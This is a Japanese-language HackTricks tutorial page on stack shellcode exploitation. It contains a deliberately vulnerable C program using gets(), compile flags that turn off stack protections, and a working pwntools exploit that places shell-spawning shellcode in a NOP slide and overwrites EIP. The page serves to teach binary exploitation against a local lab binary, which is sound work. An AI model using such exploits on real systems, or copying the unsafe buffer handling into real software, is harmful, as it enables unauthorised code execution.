hacktricks/binary-exploitation/stack-overflow/stack-shellcode.md

6.6 KiB
Raw Blame History

スタックシェルコード

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

基本情報

スタックシェルコードは、バイナリエクスプロイテーションで使用される技術で、攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後命令ポインタIPまたは拡張命令ポインタEIPをこのシェルコードの場所を指すように変更し、それを実行させることを指します。これは、標的システムでの不正アクセスを得たり、任意のコマンドを実行するために使用される古典的な方法です。以下に、このプロセスの詳細、シンプルなCの例、およびpwntoolsを使用して対応するエクスプロイトをPythonでどのように書くかについて説明します。

Cの例脆弱なプログラム

まず、脆弱なCプログラムのシンプルな例を見てみましょう

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

このプログラムは、gets() 関数の使用によりバッファオーバーフローの脆弱性があります。

コンパイル

このプログラムをコンパイルする際に、さまざまな保護を無効にする(脆弱な環境をシミュレートする)には、次のコマンドを使用できます:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: スタック保護を無効にします。
  • -z execstack: スタックを実行可能にし、スタックに格納されたシェルコードを実行するために必要です。
  • -no-pie: 位置独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。
  • -m32: プログラムを32ビット実行可能ファイルとしてコンパイルし、しばしばエクスプロイト開発の簡略化に使用されます。

Pwntoolsを使用したPythonエクスプロイト

以下は、pwntoolsを使用してPythonでエクスプロイトを記述し、ret2shellcode攻撃を実行する方法です:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

このスクリプトは、NOPスライドシェルコード、そしてEIPをNOPスライドを指すアドレスで上書きして、シェルコードが実行されるようにペイロードを構築します。

NOPスライド (asm('nop')) は、実行が正確なアドレスに関係なくシェルコードに「スライド」する可能性を高めるために使用されます。p32()の引数を、NOPスライドに着地するためにバッファの開始アドレスにオフセットを加えた値に調整してください。

保護

  • ASLR無効にする必要があります。そうしないと、関数が格納されるアドレスが常に同じでなくなり、win関数がどこにロードされているかを特定するためには何らかのリークが必要になります。
  • スタックキャナリー も無効にする必要があります。そうしないと、侵害されたEIPリターンアドレスは決して実行されません。
  • NX スタック保護は、その領域が実行不可能であるため、スタック内のシェルコードの実行を防ぎます。

その他の例と参考文献